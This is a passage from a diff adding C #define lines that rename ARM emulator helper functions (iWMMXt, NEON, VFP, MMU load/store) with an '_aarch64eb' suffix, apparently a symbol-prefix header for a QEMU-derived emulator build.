helper_iwmmxt_minsl helper_iwmmxt_minsl_aarch64eb +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_aarch64eb +#define helper_iwmmxt_minub helper_iwmmxt_minub_aarch64eb +#define helper_iwmmxt_minul helper_iwmmxt_minul_aarch64eb +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_aarch64eb +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_aarch64eb +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_aarch64eb +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_aarch64eb +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_aarch64eb +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_aarch64eb +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_aarch64eb +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_aarch64eb +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_aarch64eb +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_aarch64eb +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_aarch64eb +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_aarch64eb +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_aarch64eb +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_aarch64eb +#define helper_iwmmxt_packul helper_iwmmxt_packul_aarch64eb +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_aarch64eb +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_aarch64eb +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_aarch64eb +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_aarch64eb +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_aarch64eb +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_aarch64eb +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_aarch64eb +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_aarch64eb +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_aarch64eb +#define helper_iwmmxt_slll helper_iwmmxt_slll_aarch64eb +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_aarch64eb +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_aarch64eb +#define helper_iwmmxt_sral helper_iwmmxt_sral_aarch64eb +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_aarch64eb +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_aarch64eb +#define helper_iwmmxt_srll helper_iwmmxt_srll_aarch64eb +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_aarch64eb +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_aarch64eb +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_aarch64eb +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_aarch64eb +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_aarch64eb +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_aarch64eb +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_aarch64eb +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_aarch64eb +#define helper_iwmmxt_subub helper_iwmmxt_subub_aarch64eb +#define helper_iwmmxt_subul helper_iwmmxt_subul_aarch64eb +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_aarch64eb +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_aarch64eb +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_aarch64eb +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_aarch64eb +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_aarch64eb +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_aarch64eb +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_aarch64eb +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_aarch64eb +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_aarch64eb +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_aarch64eb +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_aarch64eb +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_aarch64eb +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_aarch64eb +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_aarch64eb +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_aarch64eb +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_aarch64eb +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_aarch64eb +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_aarch64eb +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_aarch64eb +#define helper_ldb_cmmu helper_ldb_cmmu_aarch64eb +#define helper_ldb_mmu helper_ldb_mmu_aarch64eb +#define helper_ldl_cmmu helper_ldl_cmmu_aarch64eb +#define helper_ldl_mmu helper_ldl_mmu_aarch64eb +#define helper_ldq_cmmu helper_ldq_cmmu_aarch64eb +#define helper_ldq_mmu helper_ldq_mmu_aarch64eb +#define helper_ldw_cmmu helper_ldw_cmmu_aarch64eb +#define helper_ldw_mmu helper_ldw_mmu_aarch64eb +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_aarch64eb +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_aarch64eb +#define helper_le_ldq_mmu helper_le_ldq_mmu_aarch64eb +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_aarch64eb +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_aarch64eb +#define helper_le_ldul_mmu helper_le_ldul_mmu_aarch64eb +#define helper_le_lduw_mmu helper_le_lduw_mmu_aarch64eb +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_aarch64eb +#define helper_le_stl_mmu helper_le_stl_mmu_aarch64eb +#define helper_le_stq_mmu helper_le_stq_mmu_aarch64eb +#define helper_le_stw_mmu helper_le_stw_mmu_aarch64eb +#define helper_msr_i_pstate helper_msr_i_pstate_aarch64eb +#define helper_neon_abd_f32 helper_neon_abd_f32_aarch64eb +#define helper_neon_abdl_s16 helper_neon_abdl_s16_aarch64eb +#define helper_neon_abdl_s32 helper_neon_abdl_s32_aarch64eb +#define helper_neon_abdl_s64 helper_neon_abdl_s64_aarch64eb +#define helper_neon_abdl_u16 helper_neon_abdl_u16_aarch64eb +#define helper_neon_abdl_u32 helper_neon_abdl_u32_aarch64eb +#define helper_neon_abdl_u64 helper_neon_abdl_u64_aarch64eb +#define helper_neon_abd_s16 helper_neon_abd_s16_aarch64eb +#define helper_neon_abd_s32 helper_neon_abd_s32_aarch64eb +#define helper_neon_abd_s8 helper_neon_abd_s8_aarch64eb +#define helper_neon_abd_u16 helper_neon_abd_u16_aarch64eb +#define helper_neon_abd_u32 helper_neon_abd_u32_aarch64eb +#define helper_neon_abd_u8 helper_neon_abd_u8_aarch64eb +#define helper_neon_abs_s16 helper_neon_abs_s16_aarch64eb +#define helper_neon_abs_s8 helper_neon_abs_s8_aarch64eb +#define helper_neon_acge_f32 helper_neon_acge_f32_aarch64eb +#define helper_neon_acge_f64 helper_neon_acge_f64_aarch64eb +#define helper_neon_acgt_f32 helper_neon_acgt_f32_aarch64eb +#define helper_neon_acgt_f64 helper_neon_acgt_f64_aarch64eb +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_aarch64eb +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_aarch64eb +#define helper_neon_addl_u16 helper_neon_addl_u16_aarch64eb +#define helper_neon_addl_u32 helper_neon_addl_u32_aarch64eb +#define helper_neon_add_u16 helper_neon_add_u16_aarch64eb +#define helper_neon_add_u8 helper_neon_add_u8_aarch64eb +#define helper_neon_ceq_f32 helper_neon_ceq_f32_aarch64eb +#define helper_neon_ceq_u16 helper_neon_ceq_u16_aarch64eb +#define helper_neon_ceq_u32 helper_neon_ceq_u32_aarch64eb +#define helper_neon_ceq_u8 helper_neon_ceq_u8_aarch64eb +#define helper_neon_cge_f32 helper_neon_cge_f32_aarch64eb +#define helper_neon_cge_s16 helper_neon_cge_s16_aarch64eb +#define helper_neon_cge_s32 helper_neon_cge_s32_aarch64eb +#define helper_neon_cge_s8 helper_neon_cge_s8_aarch64eb +#define helper_neon_cge_u16 helper_neon_cge_u16_aarch64eb +#define helper_neon_cge_u32 helper_neon_cge_u32_aarch64eb +#define helper_neon_cge_u8 helper_neon_cge_u8_aarch64eb +#define helper_neon_cgt_f32 helper_neon_cgt_f32_aarch64eb +#define helper_neon_cgt_s16 helper_neon_cgt_s16_aarch64eb +#define helper_neon_cgt_s32 helper_neon_cgt_s32_aarch64eb +#define helper_neon_cgt_s8 helper_neon_cgt_s8_aarch64eb +#define helper_neon_cgt_u16 helper_neon_cgt_u16_aarch64eb +#define helper_neon_cgt_u32 helper_neon_cgt_u32_aarch64eb +#define helper_neon_cgt_u8 helper_neon_cgt_u8_aarch64eb +#define helper_neon_cls_s16 helper_neon_cls_s16_aarch64eb +#define helper_neon_cls_s32 helper_neon_cls_s32_aarch64eb +#define helper_neon_cls_s8 helper_neon_cls_s8_aarch64eb +#define helper_neon_clz_u16 helper_neon_clz_u16_aarch64eb +#define helper_neon_clz_u8 helper_neon_clz_u8_aarch64eb +#define helper_neon_cnt_u8 helper_neon_cnt_u8_aarch64eb +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_aarch64eb +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_aarch64eb +#define helper_neon_hadd_s16 helper_neon_hadd_s16_aarch64eb +#define helper_neon_hadd_s32 helper_neon_hadd_s32_aarch64eb +#define helper_neon_hadd_s8 helper_neon_hadd_s8_aarch64eb +#define helper_neon_hadd_u16 helper_neon_hadd_u16_aarch64eb +#define helper_neon_hadd_u32 helper_neon_hadd_u32_aarch64eb +#define helper_neon_hadd_u8 helper_neon_hadd_u8_aarch64eb +#define helper_neon_hsub_s16 helper_neon_hsub_s16_aarch64eb +#define helper_neon_hsub_s32 helper_neon_hsub_s32_aarch64eb +#define helper_neon_hsub_s8 helper_neon_hsub_s8_aarch64eb +#define helper_neon_hsub_u16 helper_neon_hsub_u16_aarch64eb +#define helper_neon_hsub_u32 helper_neon_hsub_u32_aarch64eb +#define helper_neon_hsub_u8 helper_neon_hsub_u8_aarch64eb +#define helper_neon_max_s16 helper_neon_max_s16_aarch64eb +#define helper_neon_max_s32 helper_neon_max_s32_aarch64eb +#define helper_neon_max_s8 helper_neon_max_s8_aarch64eb +#define helper_neon_max_u16 helper_neon_max_u16_aarch64eb +#define helper_neon_max_u32 helper_neon_max_u32_aarch64eb +#define helper_neon_max_u8 helper_neon_max_u8_aarch64eb +#define helper_neon_min_s16 helper_neon_min_s16_aarch64eb +#define helper_neon_min_s32 helper_neon_min_s32_aarch64eb +#define helper_neon_min_s8 helper_neon_min_s8_aarch64eb +#define helper_neon_min_u16 helper_neon_min_u16_aarch64eb +#define helper_neon_min_u32 helper_neon_min_u32_aarch64eb +#define helper_neon_min_u8 helper_neon_min_u8_aarch64eb +#define helper_neon_mull_p8 helper_neon_mull_p8_aarch64eb +#define helper_neon_mull_s16 helper_neon_mull_s16_aarch64eb +#define helper_neon_mull_s8 helper_neon_mull_s8_aarch64eb +#define helper_neon_mull_u16 helper_neon_mull_u16_aarch64eb +#define helper_neon_mull_u8 helper_neon_mull_u8_aarch64eb +#define helper_neon_mul_p8 helper_neon_mul_p8_aarch64eb +#define helper_neon_mul_u16 helper_neon_mul_u16_aarch64eb +#define helper_neon_mul_u8 helper_neon_mul_u8_aarch64eb +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_aarch64eb +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_aarch64eb +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_aarch64eb +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_aarch64eb +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_aarch64eb +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_aarch64eb +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_aarch64eb +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_aarch64eb +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_aarch64eb +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_aarch64eb +#define helper_neon_narrow_u16 helper_neon_narrow_u16_aarch64eb +#define helper_neon_narrow_u8 helper_neon_narrow_u8_aarch64eb +#define helper_neon_negl_u16 helper_neon_negl_u16_aarch64eb +#define helper_neon_negl_u32 helper_neon_negl_u32_aarch64eb +#define helper_neon_paddl_u16 helper_neon_paddl_u16_aarch64eb +#define helper_neon_paddl_u32 helper_neon_paddl_u32_aarch64eb +#define helper_neon_padd_u16 helper_neon_padd_u16_aarch64eb +#define helper_neon_padd_u8 helper_neon_padd_u8_aarch64eb +#define helper_neon_pmax_s16 helper_neon_pmax_s16_aarch64eb +#define helper_neon_pmax_s8 helper_neon_pmax_s8_aarch64eb +#define helper_neon_pmax_u16 helper_neon_pmax_u16_aarch64eb +#define helper_neon_pmax_u8 helper_neon_pmax_u8_aarch64eb +#define helper_neon_pmin_s16 helper_neon_pmin_s16_aarch64eb +#define helper_neon_pmin_s8 helper_neon_pmin_s8_aarch64eb +#define helper_neon_pmin_u16 helper_neon_pmin_u16_aarch64eb +#define helper_neon_pmin_u8 helper_neon_pmin_u8_aarch64eb +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_aarch64eb +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_aarch64eb +#define helper_neon_qabs_s16 helper_neon_qabs_s16_aarch64eb +#define helper_neon_qabs_s32 helper_neon_qabs_s32_aarch64eb +#define helper_neon_qabs_s64 helper_neon_qabs_s64_aarch64eb +#define helper_neon_qabs_s8 helper_neon_qabs_s8_aarch64eb +#define helper_neon_qadd_s16 helper_neon_qadd_s16_aarch64eb +#define helper_neon_qadd_s32 helper_neon_qadd_s32_aarch64eb +#define helper_neon_qadd_s64 helper_neon_qadd_s64_aarch64eb +#define helper_neon_qadd_s8 helper_neon_qadd_s8_aarch64eb +#define helper_neon_qadd_u16 helper_neon_qadd_u16_aarch64eb +#define helper_neon_qadd_u32 helper_neon_qadd_u32_aarch64eb +#define helper_neon_qadd_u64 helper_neon_qadd_u64_aarch64eb +#define helper_neon_qadd_u8 helper_neon_qadd_u8_aarch64eb +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_aarch64eb +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_aarch64eb +#define helper_neon_qneg_s16 helper_neon_qneg_s16_aarch64eb +#define helper_neon_qneg_s32 helper_neon_qneg_s32_aarch64eb +#define helper_neon_qneg_s64 helper_neon_qneg_s64_aarch64eb +#define helper_neon_qneg_s8 helper_neon_qneg_s8_aarch64eb +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_aarch64eb +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_aarch64eb +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_aarch64eb +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_aarch64eb +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_aarch64eb +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_aarch64eb +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_aarch64eb +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_aarch64eb +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_aarch64eb +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_aarch64eb +#define helper_neon_qshl_s16 helper_neon_qshl_s16_aarch64eb +#define helper_neon_qshl_s32 helper_neon_qshl_s32_aarch64eb +#define helper_neon_qshl_s64 helper_neon_qshl_s64_aarch64eb +#define helper_neon_qshl_s8 helper_neon_qshl_s8_aarch64eb +#define helper_neon_qshl_u16 helper_neon_qshl_u16_aarch64eb +#define helper_neon_qshl_u32 helper_neon_qshl_u32_aarch64eb +#define helper_neon_qshl_u64 helper_neon_qshl_u64_aarch64eb +#define helper_neon_qshl_u8 helper_neon_qshl_u8_aarch64eb +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_aarch64eb +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_aarch64eb +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_aarch64eb +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_aarch64eb +#define helper_neon_qsub_s16 helper_neon_qsub_s16_aarch64eb +#define helper_neon_qsub_s32 helper_neon_qsub_s32_aarch64eb +#define helper_neon_qsub_s64 helper_neon_qsub_s64_aarch64eb +#define helper_neon_qsub_s8 helper_neon_qsub_s8_aarch64eb +#define helper_neon_qsub_u16 helper_neon_qsub_u16_aarch64eb +#define helper_neon_qsub_u32 helper_neon_qsub_u32_aarch64eb +#define helper_neon_qsub_u64 helper_neon_qsub_u64_aarch64eb +#define helper_neon_qsub_u8 helper_neon_qsub_u8_aarch64eb +#define helper_neon_qunzip16 helper_neon_qunzip16_aarch64eb +#define helper_neon_qunzip32 helper_neon_qunzip32_aarch64eb +#define helper_neon_qunzip8 helper_neon_qunzip8_aarch64eb +#define helper_neon_qzip16 helper_neon_qzip16_aarch64eb +#define helper_neon_qzip32 helper_neon_qzip32_aarch64eb +#define helper_neon_qzip8 helper_neon_qzip8_aarch64eb +#define helper_neon_rbit_u8 helper_neon_rbit_u8_aarch64eb +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_aarch64eb +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_aarch64eb +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_aarch64eb +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_aarch64eb +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_aarch64eb +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_aarch64eb +#define helper_neon_rshl_s16 helper_neon_rshl_s16_aarch64eb +#define helper_neon_rshl_s32 helper_neon_rshl_s32_aarch64eb +#define helper_neon_rshl_s64 helper_neon_rshl_s64_aarch64eb +#define helper_neon_rshl_s8 helper_neon_rshl_s8_aarch64eb +#define helper_neon_rshl_u16 helper_neon_rshl_u16_aarch64eb +#define helper_neon_rshl_u32 helper_neon_rshl_u32_aarch64eb +#define helper_neon_rshl_u64 helper_neon_rshl_u64_aarch64eb +#define helper_neon_rshl_u8 helper_neon_rshl_u8_aarch64eb +#define helper_neon_shl_s16 helper_neon_shl_s16_aarch64eb +#define helper_neon_shl_s32 helper_neon_shl_s32_aarch64eb +#define helper_neon_shl_s64 helper_neon_shl_s64_aarch64eb +#define helper_neon_shl_s8 helper_neon_shl_s8_aarch64eb +#define helper_neon_shl_u16 helper_neon_shl_u16_aarch64eb +#define helper_neon_shl_u32 helper_neon_shl_u32_aarch64eb +#define helper_neon_shl_u64 helper_neon_shl_u64_aarch64eb +#define helper_neon_shl_u8 helper_neon_shl_u8_aarch64eb +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_aarch64eb +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_aarch64eb +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_aarch64eb +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_aarch64eb +#define helper_neon_subl_u16 helper_neon_subl_u16_aarch64eb +#define helper_neon_subl_u32 helper_neon_subl_u32_aarch64eb +#define helper_neon_sub_u16 helper_neon_sub_u16_aarch64eb +#define helper_neon_sub_u8 helper_neon_sub_u8_aarch64eb +#define helper_neon_tbl helper_neon_tbl_aarch64eb +#define helper_neon_tst_u16 helper_neon_tst_u16_aarch64eb +#define helper_neon_tst_u32 helper_neon_tst_u32_aarch64eb +#define helper_neon_tst_u8 helper_neon_tst_u8_aarch64eb +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_aarch64eb +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_aarch64eb +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_aarch64eb +#define helper_neon_unzip16 helper_neon_unzip16_aarch64eb +#define helper_neon_unzip8 helper_neon_unzip8_aarch64eb +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_aarch64eb +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_aarch64eb +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_aarch64eb +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_aarch64eb +#define helper_neon_widen_s16 helper_neon_widen_s16_aarch64eb +#define helper_neon_widen_s8 helper_neon_widen_s8_aarch64eb +#define helper_neon_widen_u16 helper_neon_widen_u16_aarch64eb +#define helper_neon_widen_u8 helper_neon_widen_u8_aarch64eb +#define helper_neon_zip16 helper_neon_zip16_aarch64eb +#define helper_neon_zip8 helper_neon_zip8_aarch64eb +#define helper_pre_hvc helper_pre_hvc_aarch64eb +#define helper_pre_smc helper_pre_smc_aarch64eb +#define helper_qadd16 helper_qadd16_aarch64eb +#define helper_qadd8 helper_qadd8_aarch64eb +#define helper_qaddsubx helper_qaddsubx_aarch64eb +#define helper_qsub16 helper_qsub16_aarch64eb +#define helper_qsub8 helper_qsub8_aarch64eb +#define helper_qsubaddx helper_qsubaddx_aarch64eb +#define helper_rbit helper_rbit_aarch64eb +#define helper_recpe_f32 helper_recpe_f32_aarch64eb +#define helper_recpe_f64 helper_recpe_f64_aarch64eb +#define helper_recpe_u32 helper_recpe_u32_aarch64eb +#define helper_recps_f32 helper_recps_f32_aarch64eb +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_aarch64eb +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_aarch64eb +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_aarch64eb +#define helper_ret_stb_mmu helper_ret_stb_mmu_aarch64eb +#define helper_rintd helper_rintd_aarch64eb +#define helper_rintd_exact helper_rintd_exact_aarch64eb +#define helper_rints helper_rints_aarch64eb +#define helper_rints_exact helper_rints_exact_aarch64eb +#define helper_ror_cc helper_ror_cc_aarch64eb +#define helper_rsqrte_f32 helper_rsqrte_f32_aarch64eb +#define helper_rsqrte_f64 helper_rsqrte_f64_aarch64eb +#define helper_rsqrte_u32 helper_rsqrte_u32_aarch64eb +#define helper_rsqrts_f32 helper_rsqrts_f32_aarch64eb +#define helper_sadd16 helper_sadd16_aarch64eb +#define helper_sadd8 helper_sadd8_aarch64eb +#define helper_saddsubx helper_saddsubx_aarch64eb +#define helper_sar_cc helper_sar_cc_aarch64eb +#define helper_sdiv helper_sdiv_aarch64eb +#define helper_sel_flags helper_sel_flags_aarch64eb +#define helper_set_cp_reg helper_set_cp_reg_aarch64eb +#define helper_set_cp_reg64 helper_set_cp_reg64_aarch64eb +#define helper_set_neon_rmode helper_set_neon_rmode_aarch64eb +#define helper_set_r13_banked helper_set_r13_banked_aarch64eb +#define helper_set_rmode helper_set_rmode_aarch64eb +#define helper_set_user_reg helper_set_user_reg_aarch64eb +#define helper_shadd16 helper_shadd16_aarch64eb +#define helper_shadd8 helper_shadd8_aarch64eb +#define helper_shaddsubx helper_shaddsubx_aarch64eb +#define helper_shl_cc helper_shl_cc_aarch64eb +#define helper_shr_cc helper_shr_cc_aarch64eb +#define helper_shsub16 helper_shsub16_aarch64eb +#define helper_shsub8 helper_shsub8_aarch64eb +#define helper_shsubaddx helper_shsubaddx_aarch64eb +#define helper_ssat helper_ssat_aarch64eb +#define helper_ssat16 helper_ssat16_aarch64eb +#define helper_ssub16 helper_ssub16_aarch64eb +#define helper_ssub8 helper_ssub8_aarch64eb +#define helper_ssubaddx helper_ssubaddx_aarch64eb +#define helper_stb_mmu helper_stb_mmu_aarch64eb +#define helper_stl_mmu helper_stl_mmu_aarch64eb +#define helper_stq_mmu helper_stq_mmu_aarch64eb +#define helper_stw_mmu helper_stw_mmu_aarch64eb +#define helper_sub_saturate helper_sub_saturate_aarch64eb +#define helper_sub_usaturate helper_sub_usaturate_aarch64eb +#define helper_sxtb16 helper_sxtb16_aarch64eb +#define helper_uadd16 helper_uadd16_aarch64eb +#define helper_uadd8 helper_uadd8_aarch64eb +#define helper_uaddsubx helper_uaddsubx_aarch64eb +#define helper_udiv helper_udiv_aarch64eb +#define helper_uhadd16 helper_uhadd16_aarch64eb +#define helper_uhadd8 helper_uhadd8_aarch64eb +#define helper_uhaddsubx helper_uhaddsubx_aarch64eb +#define helper_uhsub16 helper_uhsub16_aarch64eb +#define helper_uhsub8 helper_uhsub8_aarch64eb +#define helper_uhsubaddx helper_uhsubaddx_aarch64eb +#define helper_uqadd16 helper_uqadd16_aarch64eb +#define helper_uqadd8 helper_uqadd8_aarch64eb +#define helper_uqaddsubx helper_uqaddsubx_aarch64eb +#define helper_uqsub16 helper_uqsub16_aarch64eb +#define helper_uqsub8 helper_uqsub8_aarch64eb +#define helper_uqsubaddx helper_uqsubaddx_aarch64eb +#define helper_usad8 helper_usad8_aarch64eb +#define helper_usat helper_usat_aarch64eb +#define helper_usat16 helper_usat16_aarch64eb +#define helper_usub16 helper_usub16_aarch64eb +#define helper_usub8 helper_usub8_aarch64eb +#define helper_usubaddx helper_usubaddx_aarch64eb +#define helper_uxtb16 helper_uxtb16_aarch64eb +#define helper_v7m_mrs helper_v7m_mrs_aarch64eb +#define helper_v7m_msr helper_v7m_msr_aarch64eb +#define helper_vfp_absd helper_vfp_absd_aarch64eb +#define helper_vfp_abss helper_vfp_abss_aarch64eb +#define helper_vfp_addd helper_vfp_addd_aarch64eb +#define helper_vfp_adds helper_vfp_adds_aarch64eb +#define helper_vfp_cmpd helper_vfp_cmpd_aarch64eb +#define helper_vfp_cmped helper_vfp_cmped_aarch64eb +#define helper_vfp_cmpes helper_vfp_cmpes_aarch64eb +#define helper_vfp_cmps helper_vfp_cmps_aarch64eb +#define helper_vfp_divd helper_vfp_divd_aarch64eb +#define helper_vfp_divs helper_vfp_divs_aarch64eb +#define helper_vfp_fcvtds helper_vfp_fcvtds_aarch64eb +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_aarch64eb +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_aarch64eb +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_aarch64eb +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_aarch64eb +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_aarch64eb +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_aarch64eb +#define helper_vfp_maxd helper_vfp_maxd_aarch64eb +#define helper_vfp_maxnumd helper_vfp_maxnumd_aarch64eb +#define helper_vfp_maxnums helper_vfp_maxnums_aarch64eb +#define helper_vfp_maxs helper_vfp_maxs_aarch64eb +#define helper_vfp_mind helper_vfp_mind_aarch64eb +#define helper_vfp_minnumd helper_vfp_minnumd_aarch64eb +#define helper_vfp_minnums helper_vfp_minnums_aarch64eb +#define helper_vfp_mins helper_vfp_mins_aarch64eb +#define helper_vfp_muladdd helper_vfp_muladdd_aarch64eb +#define helper_vfp_muladds helper_vfp_muladds_aarch64eb +#define helper_vfp_muld helper_vfp_muld_aarch64eb +#define helper_vfp_muls helper_vfp_muls_aarch64eb +#define helper_vfp_negd helper_vfp_negd_aarch64eb +#define helper_vfp_negs helper_vfp_negs_aarch64eb +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_aarch64eb +#define helper_vfp_shtod helper_vfp_shtod_aarch64eb +#define helper_vfp_shtos helper_vfp_shtos_aarch64eb +#define helper_vfp_sitod helper_vfp_sitod_aarch64eb +#define helper_vfp_sitos helper_vfp_sitos_aarch64eb +#define helper_vfp_sltod helper_vfp_sltod_aarch64eb +#define helper_vfp_sltos helper_vfp_sltos_aarch64eb +#define helper_vfp_sqrtd helper_vfp_sqrtd_aarch64eb +#define helper_vfp_sqrts helper_vfp_sqrts_aarch64eb +#define helper_vfp_sqtod helper_vfp_sqtod_aarch64eb +#define helper_vfp_sqtos helper_vfp_sqtos_aarch64eb +#define helper_vfp_subd helper_vfp_subd_aarch64eb +#define helper_vfp_subs helper_vfp_subs_aarch64eb +#define helper_vfp_toshd helper_vfp_toshd_aarch64eb +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_aarch64eb +#define helper_vfp_toshs helper_vfp_toshs_aarch64eb +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_aarch64eb +#define helper_vfp_tosid helper_vfp_tosid_aarch64eb +#define helper_vfp_tosis helper_vfp_tosis_aarch64eb +#define helper_vfp_tosizd helper_vfp_tosizd_aarch64eb +#define helper_vfp_tosizs helper_vfp_tosizs_aarch64eb +#define helper_vfp_tosld helper_vfp_tosld_aarch64eb +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_aarch64eb +#define helper_vfp_tosls helper_vfp_tosls_aarch64eb +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_aarch64eb +#define helper_vfp_tosqd helper_vfp_tosqd_aarch64eb +#define helper_vfp_tosqs helper_vfp_tosqs_aarch64eb +#define helper_vfp_touhd helper_vfp_touhd_aarch64eb +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_aarch64eb +#define helper_vfp_touhs helper_vfp_touhs_aarch64eb +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_aarch64eb +#define helper_vfp_touid helper_vfp_touid_aarch64eb +#define helper_vfp_touis helper_vfp_touis_aarch64eb +#define helper_vfp_touizd helper_vfp_touizd_aarch64eb +#define helper_vfp_touizs helper_vfp_touizs_aarch64eb +#define helper_vfp_tould 